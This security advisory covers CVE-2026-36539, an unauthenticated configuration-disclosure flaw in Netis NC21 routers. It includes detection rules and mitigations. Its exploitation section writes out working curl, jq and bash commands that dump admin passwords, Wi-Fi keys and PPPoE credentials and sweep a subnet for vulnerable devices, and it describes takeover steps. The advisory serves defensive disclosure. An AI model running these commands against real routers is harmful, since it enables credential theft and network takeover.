CVE-2026-36539

Executive Summary

CVE-2026-36539 is an unauthenticated information disclosure vulnerability affecting the Netis AC1200 Router NC21 (firmware version V4.0.1.4296). The flaw resides in the exposed CGI endpoint /cgi-bin/skk_get.cgi, which returns the complete router configuration as a JSON document without requiring any authentication. An attacker situated on the LAN (or capable of reaching the endpoint via WAN if firewall rules permit) can issue a single HTTP GET request and exfiltrate administrator credentials, WPA2/WPA3 preshared keys, PPPoE account details, DDNS credentials, and a full topology map of connected clients. The vulnerability is currently unpatched, with no vendor advisory or firmware update available. Given the trivial exploitation requirements (single HTTP request, zero payload crafting), this flaw presents a critical risk to home office and small-business environments where the NC21 is deployed.

Technical Analysis

The Netis NC21 AC1200 router is a consumer-grade dual-band wireless access point/router commonly deployed in SOHO environments. The firmware version V4.0.1.4296 implements a CGI-based web management interface. The flaw exists in the request handler for the skk_get.cgi script.

Vulnerability Mechanism:
The CGI script skk_get.cgi is a diagnostic utility originally intended to return system status information (CPU usage, memory, radio status) to the web UI's JavaScript frontend. However, the implementation lacks any session validation or authorization checks before processing the request. Instead of exposing only sanitized system metrics, the endpoint serializes the entirety of the router's configuration database (typically a sysconf or nvram-equivalent store) into a JSON structure.

This is not an injection flaw; it is a direct authentication bypass. The router's web server (likely httpd or boa) routes requests to CGI handlers without first verifying the presence of an authenticated session cookie (sessionid or auth_token). Because the endpoint is registered as a public-facing diagnostic hook, the developer omitted the authentication middleware that is applied to other management pages (e.g., status.htm, adv_setting.htm).

Attack Surface:

• Local Network: All LAN clients, including compromised IoT devices, can access http://<router-ip>/cgi-bin/skk_get.cgi without credentials.
• WAN Exposure: If UPnP port forwarding is enabled, or if the router is exposed to the internet (common in careless configurations), the endpoint is reachable remotely via the public IP.
• CSRF Vectors: A malicious website loaded in a browser on a LAN client can issue a cross-origin GET request to the router's IP (no preflight needed for a simple GET), leaking the response if the browser allows reading it (though SOP restrictions may apply, an attacker can still trigger SSRF-style behavior or use DNS rebinding).

Data Exposed (from NVD Description):

• Administrator credentials (plaintext or reversible hash)
• WiFi SSIDs and PSK passphrases for both 2.4GHz and 5GHz bands
• PPPoE username/password for WAN connectivity
• DDNS provider credentials
• Connected device MAC/IP/device-name inventory

Technical Code Path (inferred):

REQUEST: GET /cgi-bin/skk_get.cgi
HANDLER: skk_get_cgi()
  → checks for parameters (e.g., "type=all") → default retrieves entire config tree
  → calls sysconf_dump_all() → writes JSON to stdout
  → httpd returns 200 OK with Content-Type: application/json

The absence of a session_check() call or uid parameter validation is the root cause.

Exploitation Scenarios

Prerequisite: Attacker has network access to the router's management interface (LAN role or exposed WAN port). No authentication is required.

Step-by-Step Attack Chain:

1. Reconnaissance / Target Identification

   • Scan the local subnet for TCP/80, 8080, or 443 services:
     nmap -p 80,443,8080 --open 192.168.1.0/24
   • Identify Netis routers by HTTP banner: curl -I http://<target>/ reveals Server: httpd/2.0 or WWW-Authenticate: Basic realm="NETIS".
   • Alternatively, use Shodan dork product:"Netis" port:80 for internet-exposed targets.

2. Trigger / Weaponization

   • Send a single HTTP GET request to the vulnerable endpoint:
     curl -s http://<target>/cgi-bin/skk_get.cgi
   • No cookies, no headers other than Host, no payload crafted. The server responds with HTTP/1.1 200 OK.

3. Payload / Execution

   • The response body is a JSON object. Parse it with jq to extract sensitive fields:
     curl -s http://<target>/cgi-bin/skk_get.cgi | jq '.admin_pwd, .wlan0_psk, .wan_pppoe_passwd'
   • Save the full output for offline analysis of the device map:
     curl -s http://<target>/cgi-bin/skk_get.cgi > netis_dump.json

4. Post-Exploitation Impact

   • Full Router Takeover: Use the exposed admin credentials to log into the web management interface (/main.htm) and modify settings — change admin password (locking out the legitimate owner), alter DNS settings for DNS hijacking, enable remote management, or install custom firmware if a known vector exists.
   • Network Pivot: Use the WiFi PSK to join the network from a closer vantage point (e.g., parking lot), bypassing client isolation.
   • Credential Reuse: The admin password may be reused by the owner on other accounts (email, banking). The PPPoE credentials often match the ISP account login and may be reused on ISP portals.
   • Lateral Movement: The device map (MAC, IP, device names) provides a blueprint for further attacks — target unpatched IoT devices (cams, printers) or workstations on the LAN.

Scenario Example (LAN Attack):
A malicious insider or a virus-infected laptop on the corporate Wi-Fi (guest network) executes:

#!/bin/bash
for ip in $(seq 1 254); do
  curl -s -m 2 http://192.168.1.$ip/cgi-bin/skk_get.cgi | grep -q "admin_pwd" && echo "VULN: $ip"
done

Within seconds, the attacker has a list of vulnerable routers and their configuration dumps.

Impact Assessment

Business Impact:

• Confidentiality: Critical (High impact on data confidentiality). A successful exploit results in the exposure of all router-stored secrets, enabling credential theft.
• Integrity: High (indirect). With admin credentials, the attacker can modify firewall rules, DNS settings, and firmware, leading to persistent compromise.
• Availability: Medium (indirect). Configuration changes or firmware corruption could render the router inoperable.

Affected Systems:

• Netis NC21 AC1200 router, firmware V4.0.1.4296. The vendor has not confirmed other models, but code reuse in consumer routers suggests risk for other Netis lines (e.g., NC12, WF2411).

Blast Radius:

• In a home/SOHO setting: full network takeover, credential theft, pivot to internal workstations.
• In a co-working space or shared apartment: the LAN-attacker model means any tenant can compromise the shared router.
• If the router is internet-exposed: the entire world is the attack surface.

CVSS Reference: While NVD provided no score, the inferred CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N yields a base score of 7.5 (High). The lack of an official score does not diminish the severity — this is a critical weakness in a boundary device.

Detection Guidance

Sigma Rule

title: HTTP Request to Netis Router Config Disclosure Endpoint
id: 7c5f3c2e-4d2a-4f8b-9b1e-3a6c8e0d4f2a
status: experimental
description: Detects GET requests to the unauthenticated /cgi-bin/skk_get.cgi endpoint on Netis routers, indicating exploitation of CVE-2026-36539.
author: Valtersit Threat Intel
date: 2026/01/15
logsource:
  category: webserver
  product: generic
detection:
  selection:
    http.url|contains: '/cgi-bin/skk_get.cgi'
    http.method: 'GET'
  condition: selection
falsepositives:
  - Legitimate diagnostics by an already-authenticated admin user (if such use exists in the vendor UI)
  - Unknown; this endpoint may be probed by malware performing network scans
level: high

YARA Rule

rule Netis_SKK_Get_Config_Exfil
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects HTTP responses containing Netis router configuration JSON, indicating exploitation of CVE-2026-36539."
        cve = "CVE-2026-36539"
        date = "2026-01-15"
    strings:
        $marker1 = "skk_get" ascii wide nocase
        $marker2 = "admin_pwd" ascii wide nocase
        $marker3 = "wlan_psk" ascii wide nocase
        $marker4 = "pppoe_passwd" ascii wide nocase
        $marker5 = "sysconf" ascii wide nocase
    condition:
        (2 of ($marker*)) and filesize < 1MB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Netis Router CVE-2026-36539 Config Disclosure Unauthenticated Access"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/skk_get.cgi"; http_uri; nocase; classtype:attempted-recon; sid:202636539; rev:1; metadata:affected_product Netis_NC21, cve CVE-2026-36539;)

Elastic Detection

sequence by source.ip, destination.ip with maxspan=1s
  [ network where network.protocol == "http" and http.request.method == "GET" and url.path == "/cgi-bin/skk_get.cgi" ]
  [ http where http.response.status_code == 200 and http.response.body.content_type == "application/json" and http.response.body in response_body ]

(Response_body matching requires an Elastic ingest pipeline that captures the HTTP response body; adjust field names per your ECS mapping.)

Splunk SPL Query

index=proxy OR index=web sourcetype=access_combined
| where like(uri_path, "%/cgi-bin/skk_get.cgi%")
| table _time, src_ip, dest_ip, uri_path, status, http_user_agent
| stats count BY src_ip, dest_ip
| sort -count

Wazuh OSSEC Rule

<rule id="100539" level="15">
  <decoded>syscheck</decoded> <!-- Use the appropriate decoder for web requests, e.g., decoders:web --> 
  <match>GET /cgi-bin/skk_get.cgi</match>
  <description>Netis Router Configuration Disclosure Endpoint Accessed (CVE-2026-36539)</description>
  <group>authentication_failure, web_application_attack,</group>
  <mitre>
    <id>T1190</id>
  </mitre>
</rule>

(Note: Wazuh rules are typically configured via local rules for Apache/Nginx; adjust decoder to match your web server log format.)

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED

• No firmware update exists from Netis for the NC21 as of the publication of this report. The vendor has not issued an advisory.
• Do not rely on a software fix that does not yet exist. Assume the device is compromised if the endpoint is reachable from untrusted networks.

Immediate Mitigations (do these now):

1. Network Isolation: Place the router behind an upstream firewall (e.g., a dedicated firewall appliance or your ISP's firewall). Block external access to ports 80, 443, 8080 on the router's WAN interface.
2. Disable Remote Management: Ensure the "Remote Web Management" setting in the router UI is OFF.
3. LAN Segmentation: If the router is used in a corporate setting (not recommended), place it on an isolated VLAN with no access to sensitive internal networks. Treat it as untrusted.
4. Restrict LAN Access: Use MAC filtering and enable AP/BSSID isolation to limit which devices can reach the router's IP directly. This is a weak control but reduces the attack surface from compromised IoT devices.
5. Monitor Logs: Enable the router's system log (if available) and forward to a SIEM; watch for repeated skk_get.cgi requests.

Patch/Upgrade Steps:

1. Check the Netis support portal (netis-systems.com) weekly for a firmware release for the NC21.
2. If the NC21 reaches end-of-life without a patch, replace the router with a model from a vendor with a track record of firmware security updates (e.g., Ubiquiti, MikroTik, or a business-grade firewall).

Long-Term Hardening:

1. Vendor Accountability: Report the vulnerability to Netis via their security contact if one exists; if not, publish a detailed disclosure to encourage action.
2. Network Architecture: Avoid using consumer routers as the sole security boundary. Use a dedicated firewall/VPN gateway.
3. Credential Hygiene: After any attempted exploit (or suspected compromise), change all credentials that may have been exposed — the router admin password, WiFi passphrase, PPPoE credentials, and any online accounts that reuse these passwords.
4. Physical Control: Ensure the physical device is in a secure location; a malicious local user could connect via Ethernet to bypass Wi-Fi authentication, then hit the endpoint directly from a wired client.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36539 (official vulnerability record; note the missing CVSS score and CWE assignments)
2. Netis Official Support: https://www.netis-systems.com/Support/firmware.html (check for any future firmware updates; no advisory published as of this report)
3. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/ (exploitation of public-facing applications — applies to WAN-exposed cases)
4. CWE-306 (Missing Authentication for Critical Function): https://cwe.mitre.org/data/definitions/306.html (classification reference)
5. No in-the-wild exploitation has been reported to CISA KEV. No threat actor campaigns have been publicly attributed to this CVE as of January 2026. The existing exploit code is limited to generic HTTP client tools (curl, wget) — no weaponized exploit framework integration is known.

Confidence Notes: The EPSS score of 0.00358 (28.5th percentile) suggests a low probability of exploitation in the near term per standard models, but this metric does not account for the ease of exploitation and the high value of the exposed data. Treat this as a latent, high-severity risk, especially in environments where the router is internet-exposed.